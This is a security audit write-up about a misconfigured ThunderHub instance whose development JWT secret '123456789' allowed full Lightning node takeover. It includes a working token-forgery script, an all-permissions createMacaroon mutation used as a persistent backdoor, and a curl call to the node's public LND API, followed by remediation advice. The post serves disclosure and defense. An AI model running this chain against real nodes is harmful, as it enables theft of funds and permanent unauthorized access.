From '123456789' to Full Lightning Node Control

ThunderHub's dev JWT secret left in production — one missing environment variable cascaded into full node compromise, permanent LND admin access, and a backdoor that survives remediation.

2026-03-05lightning-networkjwtmisconfigurationgraphqllnd

During a recent web security audit of a crypto platform, I discovered that a Lightning Network node management interface was deployed with its development JWT secret — the string 123456789 — hardcoded in the open-source code and left unchanged in production. This single misconfiguration cascaded into full node compromise, a permanent admin backdoor on a publicly accessible API, and complete read access to all Lightning funds, channels, and transaction history.

The root cause? One missing environment variable.


The Context

The target was a crypto casino running on Azure infrastructure with a dozen microservices. Among them was a ThunderHub instance — an open-source Lightning Network node management tool. ThunderHub provides a GraphQL API to manage an LND node: create invoices, send payments, open/close channels, and manage funds.

During subdomain enumeration, the ThunderHub instance appeared on a non-obvious subdomain. Initial fingerprinting showed it was serving a React SPA with a GraphQL endpoint at /graphql.

Step 1 — The Leak

The first probe was GraphQL introspection — and it was enabled. The full schema came back: 43 queries, 29 mutations. Everything from getNodeInfo to sendToAddress to createMacaroon.

But queries like getNodeInfo returned UNAUTHENTICATED. Authentication was required.

Except for one query:

{ getServerAccounts { id name type } }

This returned data without any authentication:

{
  "data": {
    "getServerAccounts": [{
      "id": "[redacted]",
      "name": "[node-name]-lnd",
      "type": "server"
    }]
  }
}

The server account ID. The node name. Exposed to anyone who asks.

Step 2 — The Source Code

ThunderHub is open source. The authentication code in configuration.ts reads:

const jwtSecret = isProduction
  ? crypto.randomBytes(64).toString('hex')
  : '123456789';

When NODE_ENV is set to production, ThunderHub generates a cryptographically random 128-character secret on each startup. When it's NOT set to production, the secret is literally the string '123456789'.

The instance's health endpoint revealed: "environment": "development". The NODE_ENV variable was never set.

Step 3 — The Forgery

With the account ID from the unauthenticated query and the JWT secret from the source code, forging a valid token required five lines:

const crypto = require('crypto');
 
const ACCOUNT_ID = '[account-id-from-getServerAccounts]';
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({
  sub: ACCOUNT_ID,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 86400,
})).toString('base64url');
const signature = crypto.createHmac('sha256', '123456789')
  .update(`${header}.${payload}`)
  .digest('base64url');
 
console.log(`${header}.${payload}.${signature}`);

The token worked on the first try. Full authenticated access.

Step 4 — The Data

With the forged JWT, every query returned data:

QueryResult
getNodeInfoNode alias, LND version, sync status, peer count
getNodeBalancesOn-chain and Lightning balances visible
getChannels2 channels (inactive), partner nodes, capacity
getPeers5 peers including 2 internal IPs on Azure VNET
getInvoicesFull invoice history with amounts
getPaymentsOutgoing payments with destinations
getChainTransactionsOn-chain TX history with all output addresses
getUtxosUTXO set with addresses and amounts
getBackupsFull channel backup blob
getTwofaSecretRaw TOTP secret and otpauth URL
signMessageSigned arbitrary message with node's private key

The 2FA secret was particularly notable — anyone with it can generate valid TOTP codes for the ThunderHub account. The signMessage query provided cryptographic proof of full node identity key access.

Step 5 — The Permanent Backdoor

ThunderHub exposes a createMacaroon mutation that generates LND admin credentials:

mutation {
  createMacaroon(permissions: {
    is_ok_to_adjust_peers: true
    is_ok_to_create_chain_addresses: true
    is_ok_to_create_invoices: true
    is_ok_to_create_macaroons: true
    is_ok_to_derive_keys: true
    is_ok_to_get_chain_transactions: true
    is_ok_to_get_invoices: true
    is_ok_to_get_wallet_info: true
    is_ok_to_get_payments: true
    is_ok_to_get_peers: true
    is_ok_to_pay: true
    is_ok_to_send_to_chain_addresses: true
    is_ok_to_sign_bytes: true
    is_ok_to_sign_messages: true
    is_ok_to_stop_daemon: true
    is_ok_to_verify_bytes_signatures: true
    is_ok_to_verify_messages: true
    is_ok_to_get_access_ids: true
    is_ok_to_revoke_access_ids: true
  }) {
    base
    hex
  }
}

The mutation returned a full admin macaroon — hex-encoded, 19 permissions, no expiration.

But the real discovery came next. The LND node was hosted on Voltage — a Lightning node hosting provider. Voltage nodes expose their LND REST API on a public URL:

curl -s https://[node-name].m.voltageapp.io:8080/v1/getinfo \
  -H "Grpc-Metadata-macaroon: [hex]"
# → 200 OK. Full node info returned.

Direct LND REST API access from the public internet with the generated macaroon.

This macaroon is permanent. It doesn't expire. It works even after:

  • The ThunderHub JWT secret is fixed
  • ThunderHub is restarted or removed
  • The NODE_ENV is set to production
  • The ThunderHub password is changed

The only way to invalidate it is to rotate the LND node's root macaroon keys.

The Chain

1. GraphQL introspection (enabled in dev mode)
   → getServerAccounts (unauthenticated)
   → account ID leaked

2. Source code review
   → JWT secret = '123456789' when NODE_ENV != production

3. JWT forgery (5 lines of code)
   → full ThunderHub authenticated access

4. createMacaroon mutation
   → admin LND macaroon (all 19 permissions)

5. Voltage public REST API
   → permanent direct LND access from the internet

Each step is trivial on its own. The first user can be enumerated. The secret is published. The forgery is five lines. The macaroon creation is one GraphQL call. The REST API is publicly routed.

What Else Was Hiding in Dev Mode

The source code review revealed that NODE_ENV controls more than just the JWT secret:

FeatureProductionDevelopment
JWT secretRandom 128-char hex'123456789'
GraphQL introspectionDisabledEnabled
GraphQL playgroundDisabledEnabled
CORSRestrictedorigin: true (any origin)
SSO auth checkValidates cookie|| !isProduction bypasses it
Config dump to consoleNoFull config including macaroon logged to stdout

The SSO bypass is particularly interesting: in dev mode, the cookie comparison has a || !isProduction condition that makes it always true. If an SSO-type account were configured, any cookie value would grant access.

And the config dump means that on startup, the full configuration — including the LND macaroon, server URL, and certificate — is written to stdout. If any log aggregation service captures this, the raw LND credentials are in plaintext in the logs.

The Fix

The remediation is deceptively simple:

NODE_ENV=production

One environment variable. That's it. ThunderHub's security model is correctly designed — it just collapses entirely without this single flag. Setting it to production:

  • Generates a random JWT secret on startup
  • Disables introspection and playground
  • Restricts CORS
  • Enforces SSO cookie validation
  • Suppresses config logging

The additional steps:

  • Rotate LND macaroon root keys (invalidates any generated macaroons)
  • Restrict the Voltage REST API to an IP allowlist
  • Disable the getServerAccounts public query or remove account IDs from the response

The Broader Lesson

This finding wasn't a code vulnerability. ThunderHub's code is secure when properly deployed. The vulnerability was purely operational — a missing environment variable that the application doesn't warn about, doesn't fail-safe on, and silently degrades every security control.

The '123456789' default exists so developers can run ThunderHub locally without generating secrets. It's a reasonable development convenience. The problem is that there's no guardrail between "convenient for development" and "deployed to production managing real Bitcoin."

A few patterns would have prevented this:

  • Fail-closed defaults — if NODE_ENV isn't set, refuse to start instead of falling back to dev mode
  • Startup warnings — log a visible warning if dev mode is active: WARNING: Running with default JWT secret. Do not use in production.
  • Secret validation — reject known-bad secrets like '123456789' even in dev mode when the node has real funds

The nine-character string 123456789 should never be the only thing standing between an attacker and a Lightning node's funds. But in this case, it was — and it wasn't even a secret.


Finding discovered during an authorized security audit. All testing was performed with explicit authorization. Macaroon creation was approved by the engagement lead. No funds were moved or transactions initiated. The vulnerability was reported with a detailed remediation plan.